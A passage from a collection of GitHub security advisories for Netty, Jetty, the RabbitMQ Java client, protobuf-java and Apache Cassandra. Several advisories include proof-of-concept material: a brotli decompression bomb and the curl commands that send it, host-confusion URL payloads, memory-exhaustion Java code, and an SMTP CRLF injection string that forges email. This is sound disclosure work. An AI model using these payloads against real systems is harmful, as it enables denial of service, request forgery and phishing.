HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with decompression bomb protection:\n\n```java\npipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max\n```\n\n2. Generate a brotli-compressed bomb (~1KB compressed \u2192 1GB decompressed):\n\n```python\nimport brotli\nbomb = b\u0027\\x00\u0027 * (1024 * 1024 * 1024) # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith open(\u0027bomb.br\u0027, \u0027wb\u0027) as f:\n f.write(compressed)\n# compressed size: ~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):\n\n```bash\n# This is caught \u2014 ZlibDecoder enforces the 1MB limit\ncurl -X POST http://target:8080/api \\\n -H \u0027Content-Encoding: gzip\u0027 \\\n --data-binary @bomb.gz\n# Result: DecompressionException thrown at 1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):\n\n```bash\n# This bypasses the limit \u2014 BrotliDecoder has no maxAllocation\ncurl -X POST http://target:8080/api \\\n -H \u0027Content-Encoding: br\u0027 \\\n --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory \u2192 OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and `Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An attacker can cause out-of-memory conditions on any Netty server that relies on `maxAllocation` for decompression bomb protection, by simply using a non-gzip content encoding.\n- **False sense of security**: Developers who explicitly configure `maxAllocation` to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.\n- **Trivial bypass**: The attacker only needs to change one HTTP header (`Content-Encoding: br` instead of `Content-Encoding: gzip`) to circumvent the protection entirely.\n- **Both HTTP/1.1 and HTTP/2**: The vulnerability exists in both `HttpContentDecompressor` (HTTP/1.1) and `DelegatingDecompressorFrameListener` (HTTP/2).\n\n## Recommended Fix\n\nPass `maxAllocation` to all decoder constructors. For `BrotliDecoder`, which currently has no `maxAllocation` support, add the parameter:\n\n**HttpContentDecompressor.java** \u2014 pass maxAllocation to all decoders:\n\n```java\n// Line 120: BrotliDecoder \u2014 add maxAllocation support\n.handlers(new BrotliDecoder(maxAllocation))\n\n// Line 129: SnappyFrameDecoder \u2014 add maxAllocation support\n.handlers(new SnappyFrameDecoder(maxAllocation))\n\n// Line 138: ZstdDecoder \u2014 forward the configured maxAllocation\n.handlers(new ZstdDecoder(maxAllocation))\n```\n\n**DelegatingDecompressorFrameListener.java** \u2014 same fix at lines 188-210.\n\n**BrotliDecoder** \u2014 add `maxAllocation` parameter with the same semantics as `ZlibDecoder.prepareDecompressBuffer()`: set buffer maxCapacity and throw `DecompressionException` when the total decompressed output exceeds the limit.\n\n**SnappyFrameDecoder** \u2014 add `maxAllocation` parameter with equivalent enforcement.\n\n**ZstdDecoder** \u2014 ensure that when `maxAllocation` is set, total output across all buffers is bounded (not just per-buffer allocation size).",
"id": "GHSA-f6hv-jmp6-3vwv",
"modified": "2026-05-14T20:41:29Z",
"published": "2026-05-07T00:46:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS"
}
GHSA-QH8G-58PP-2WXH
Vulnerability from github – Published: 2024-10-14 21:11 – Updated: 2025-03-07 13:49Summary
Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, HttpURI, for URI/URL parsing.
The HttpURI class does insufficient validation on the authority segment of a URI. However the behaviour of HttpURI differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically HttpURI and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks.
Details
Affected components
The vulnerable component is the HttpURI class when used as a utility class in an application. The Jetty usage of the class is not vulnerable.
Attack overview
The HttpURI class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI.
Attack scenario
A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI.
This attack occurs when the Validator is the org.eclipse.jetty.http.HttpURI class and the Requester is the Browser (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., http://browser.check%23%40vulndetector.com/ ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname vulndetector.com.
PoC
payloads:
http://browser.check &@vulndetector.com/
http://browser.check #@vulndetector.com/
http://browser.check?@vulndetector.com/
http://browser.check#@vulndetector.com/
http://vulndetector.com\\/
The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com".
<a href="http://browser.check#@vulndetector.com/"></a>
A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid).
| Invalid URI | Jetty | Chrome |
|---|---|---|
| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check |
| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check |
| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check |
| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check |
The problem of 302 redirect parsing in HTTP 302 Location
| Input | Jetty | Chrome |
|---|---|---|
| http://browser.check%5c/ | browser.check\ | browser.check |
It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5].
Impact
The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to SSRF[1] and URL Redirection[2] vulnerabilities in several cases.
Mitigation
The attacks outlined above rely on decoded user data being passed to the HttpURI class. Application should not pass decoded user data as an encoded URI to any URI class/method, including HttpURI. Such applications are likely to be vulnerable in other ways.
The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per RFC9110 Section 4.2.4.
Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser).
Reference
[1] https://cwe.mitre.org/data/definitions/918.html [2] https://cwe.mitre.org/data/definitions/601.html
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.0.11"
},
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-http"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "12.0.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-6763"
],
"database_specific": {
"cwe_ids": [
"CWE-1286"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-14T21:11:43Z",
"nvd_published_at": "2024-10-14T16:15:04Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nEclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing.\n\nThe `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks.\n\n## Details\n\n### Affected components\n\nThe vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable.\n\n### Attack overview\n\nThe `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI.\n\n### Attack scenario\n\nA typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI.\n\nThis attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`.\n\n## PoC\n\npayloads:\n\n```\nhttp://browser.check \u0026@vulndetector.com/\nhttp://browser.check #@vulndetector.com/\nhttp://browser.check?@vulndetector.com/\nhttp://browser.check#@vulndetector.com/\nhttp://vulndetector.com\\\\/\n```\n\nThe problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open \"browser.check\", and jetty will parse this URL as \"vulndetector.com\".\n\n```\n\u003ca href=\"http://browser.check#@vulndetector.com/\"\u003e\u003c/a\u003e\n```\nA comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid).\n\n| Invalid URI | Jetty | Chrome |\n| ---------------------------------------------- | ---------------- | ------------- |\n| http://browser.check \u0026@vulndetector.com/ | vulndetector.com | browser.check |\n| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check |\n| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check |\n| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check |\n\nThe problem of 302 redirect parsing in HTTP 302 Location\n\n| Input | Jetty | Chrome |\n| ------------------------ | -------------- | ------------- |\n| http://browser.check%5c/ | browser.check\\ | browser.check |\n\nIt is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5].\n\n## Impact\n\nThe impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI\u0027s handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. \n\n## Mitigation\n\nThe attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. \nThe immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). \n\nNote that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser).\n\n## Reference\n\n[1] https://cwe.mitre.org/data/definitions/918.html\n[2] https://cwe.mitre.org/data/definitions/601.html",
"id": "GHSA-qh8g-58pp-2wxh",
"modified": "2025-03-07T13:49:23Z",
"published": "2024-10-14T21:11:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-qh8g-58pp-2wxh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6763"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/pull/12012"
},
{
"type": "PACKAGE",
"url": "https://github.com/jetty/jetty.project"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/cve-assignement/-/issues/25"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250306-0005"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Eclipse Jetty URI parsing of invalid authority"
}
GHSA-MM8H-8587-P46H
Vulnerability from github – Published: 2023-10-24 01:49 – Updated: 2023-10-27 20:47Summary
maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.
PoC
RbbitMQ
- Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)
- Start RabbitMQ
Producer
- Build a String of length 256M and send it to Consumer
package org.springframework.amqp.helloworld;
import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
public class Producer {
public static void main(String[] args) {
ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
String s = "A";
for(int i=0;i<28;++i){
s = s + s;
System.out.println(i);
}
amqpTemplate.convertAndSend(s);
System.out.println("Send Finish");
}
}
Consumer
- First set the heap memory size to 128M
- Read the message sent by the Producer from the MQ and print the length
package org.springframework.amqp.helloworld;
import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
public class Consumer {
public static void main(String[] args) {
ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
Object o = amqpTemplate.receiveAndConvert();
if(o != null){
String s = o.toString();
System.out.println("Received Length : " + s.length());
}else{
System.out.println("null");
}
}
}
Results
- Run the Producer first, then the Consumer
- Consumer throws OOM Exception
Impact
Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.rabbitmq:amqp-client"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46120"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-24T01:49:09Z",
"nvd_published_at": "2023-10-25T18:17:36Z",
"severity": "MODERATE"
},
"details": "### Summary\n`maxBodyLebgth` was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.\n\n### PoC\n#### RbbitMQ\n* Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)\n* Start RabbitMQ\n#### Producer\n* Build a String of length 256M and send it to Consumer\n```\n\npackage org.springframework.amqp.helloworld; \n\nimport org.springframework.amqp.core.AmqpTemplate; \nimport org.springframework.context.ApplicationContext; \nimport org.springframework.context.annotation.AnnotationConfigApplicationContext; \n\npublic class Producer {\n public static void main(String[] args) {\n ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);\n AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); \n String s = \"A\";\n for(int i=0;i\u003c28;++i){\n s = s + s;\n System.out.println(i);\n }\n amqpTemplate.convertAndSend(s);\n System.out.println(\"Send Finish\");\n }\n }\n```\n\n#### Consumer\n* First set the heap memory size to 128M\n* Read the message sent by the Producer from the MQ and print the length\n```\npackage org.springframework.amqp.helloworld;\n\nimport org.springframework.amqp.core.AmqpTemplate;\nimport org.springframework.amqp.core.Message;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.annotation.AnnotationConfigApplicationContext;\n\npublic class Consumer {\n \n public static void main(String[] args) {\n ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);\n AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);\n Object o = amqpTemplate.receiveAndConvert();\n if(o != null){\n String s = o.toString();\n System.out.println(\"Received Length : \" + s.length());\n }else{\n System.out.println(\"null\");\n }\n }\n}\n```\n#### Results\n* Run the Producer first, then the Consumer\n* Consumer throws OOM Exception\n\n\n### Impact\nUsers of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.\n",
"id": "GHSA-mm8h-8587-p46h",
"modified": "2023-10-27T20:47:02Z",
"published": "2023-10-24T01:49:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-mm8h-8587-p46h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46120"
},
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/issues/1062"
},
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/commit/714aae602dcae6cb4b53cadf009323ebac313cc8"
},
{
"type": "PACKAGE",
"url": "https://github.com/rabbitmq/rabbitmq-java-client"
},
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "RabbitMQ Java client\u0027s Lack of Message Size Limitation leads to Remote DoS Attack"
}
GHSA-JQ43-27X9-3V86
Vulnerability from github – Published: 2025-10-15 17:12 – Updated: 2025-10-17 21:32Summary
An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications.
Details
The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters.
The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command.
Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client.
PoC
A minimal PoC involves passing a crafted string containing CRLF sequences to any SmtpRequest that accepts user-controlled parameters.
1. Malicious Payload
The core of the exploit is the payload, where new SMTP commands are injected into a parameter.
// The legitimate recipient is followed by an injected email sequence
String injected_recipient = "legit-recipient@example.com\r\n" +
"MAIL FROM:<ceo@trusted-domain.com>\r\n" +
"RCPT TO:<victim@anywhere.com>\r\n" +
"DATA\r\n" +
"From: ceo@trusted-domain.com\r\n" +
"To: victim@anywhere.com\r\n" +
"Subject: Urgent: Phishing Email\r\n" +
"\r\n" +
"This is a forged email that will pass authentication checks.\r\n" +
".\r\n" +
"QUIT\r\n";
2. Triggering the Vulnerability
The vulnerability is triggered when this payload is used to create an SMTP request.
// The Netty SMTP codec will fail to sanitize this input
SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient);
// When this request is sent to an SMTP server, the injected commands
// will be executed, sending a forged email.
channel.writeAndFlush(maliciousRequest);
3. Full Reproduction Steps
A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server
- Full PoC Code: https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c
To run the full PoC:
- Set up a local SMTP server. The easiest way is using MailHog:
- On macOS:
brew install mailhog && mailhog - Using Docker:
docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog
- On macOS:
- Run the PoC code. The code will connect to the SMTP server at
localhost:1025and send the malicious payload. - Verify the result. Open the MailHog web UI at
http://localhost:8025. You will see the forged email sent tovictim@anywhere.comfromceo@trusted-domain.com.
Impact
This is a SMTP Command Injection vulnerability. It impacts any application using netty-codec-smtp to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., from, recipient, helo hostname).
The primary impacts are: * Economic Manipulation & Disinformation: Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. * Sophisticated Phishing: Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-smtp"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.7.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-smtp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.128.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59419"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-15T17:12:55Z",
"nvd_published_at": "2025-10-15T16:15:35Z",
"severity": "HIGH"
},
"details": "### Summary\nAn SMTP Command Injection (CRLF Injection) vulnerability in Netty\u0027s SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications.\n\n### Details\nThe root cause is the lack of input validation for Carriage Return (\\r) and Line Feed (\\n) characters in user-supplied parameters.\n\nThe vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command.\n\nBecause the injected commands are sent from the server\u0027s trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim\u0027s email client.\n\n### PoC\nA minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters.\n\n**1. Malicious Payload**\n\nThe core of the exploit is the payload, where new SMTP commands are injected into a parameter.\n\n```java\n// The legitimate recipient is followed by an injected email sequence\nString injected_recipient = \"legit-recipient@example.com\\r\\n\" +\n \"MAIL FROM:\u003cceo@trusted-domain.com\u003e\\r\\n\" +\n \"RCPT TO:\u003cvictim@anywhere.com\u003e\\r\\n\" +\n \"DATA\\r\\n\" +\n \"From: ceo@trusted-domain.com\\r\\n\" +\n \"To: victim@anywhere.com\\r\\n\" +\n \"Subject: Urgent: Phishing Email\\r\\n\" +\n \"\\r\\n\" +\n \"This is a forged email that will pass authentication checks.\\r\\n\" +\n \".\\r\\n\" +\n \"QUIT\\r\\n\";\n```\n\n**2. Triggering the Vulnerability**\n\nThe vulnerability is triggered when this payload is used to create an SMTP request.\n\n```java\n// The Netty SMTP codec will fail to sanitize this input\nSmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient);\n\n// When this request is sent to an SMTP server, the injected commands\n// will be executed, sending a forged email.\nchannel.writeAndFlush(maliciousRequest);\n```\n\n**3. Full Reproduction Steps**\n\nA complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server\n\n* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c\n\nTo run the full PoC:\n\n1. **Set up a local SMTP server.** The easiest way is using MailHog:\n * On macOS: `brew install mailhog \u0026\u0026 mailhog`\n * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog`\n2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload.\n3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`.\n\n### Impact\nThis is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname).\n\nThe primary impacts are:\n* **Economic Manipulation \u0026 Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption.\n* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users.",
"id": "GHSA-jq43-27x9-3v86",
"modified": "2025-10-17T21:32:39Z",
"published": "2025-10-15T17:12:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59419"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/1782e8c2060a244c4d4e6f9d9112d5517ca05120"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/2b3fddd3339cde1601f622b9ce5e54c39f24c3f9"
},
{
"type": "WEB",
"url": "https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://www.depthfirst.com/post/our-ai-agent-found-a-netty-zero-day-that-bypasses-email-authentication-the-story-of-cve-2025-59419"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Netty has SMTP Command Injection Vulnerability that Allows Email Forgery"
}
GHSA-4GG5-VX3J-XWC7
Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2025-09-02 19:38A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.16.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
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"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
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{
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}
],
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}
]
},
{
"package": {
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"name": "com.google.protobuf:protobuf-java"
},
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},
{
"fixed": "3.20.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "3.21.0"
},
{
"fixed": "3.21.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.16.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.17.0"
},
{
"fixed": "3.19.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.20.0"
},
{
"fixed": "3.20.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.21.0"
},
{
"fixed": "3.21.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-3510"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-12T22:34:26Z",
"nvd_published_at": "2022-12-12T13:15:00Z",
"severity": "HIGH"
},
"details": "A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.",
"id": "GHSA-4gg5-vx3j-xwc7",
"modified": "2025-09-02T19:38:11Z",
"published": "2022-12-12T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3510"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/db7c17803320525722f45c1d26fc08bc41d1bf48"
},
{
"type": "PACKAGE",
"url": "https://github.com/protocolbuffers/protobuf/tree/main/java"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Protobuf Java vulnerable to Uncontrolled Resource Consumption"
}
GHSA-FH34-C629-P8XJ
Vulnerability from github – Published: 2026-04-07 18:31 – Updated: 2026-04-08 19:31Sensitive Information Leak in cqlsh in Apache Cassandra 4.0 allows access to sensitive information, like passwords, from previously executed cqlsh command via ~/.cassandra/cqlsh_history local file access.
Users are recommended to upgrade to version 4.0.20, which fixes this issue.
-- Description: Cassandra's command-line tool, cqlsh, provides a command history feature that allows users to recall previously executed commands using the up/down arrow keys. These history records are saved in the ~/.cassandra/cqlsh_history file in the user's home directory.
However, cqlsh does not redact sensitive information when saving command history. This means that if a user executes operations involving passwords (such as logging in or creating users) within cqlsh, these passwords are permanently stored in cleartext in the history file on the disk.
{
"affected": [
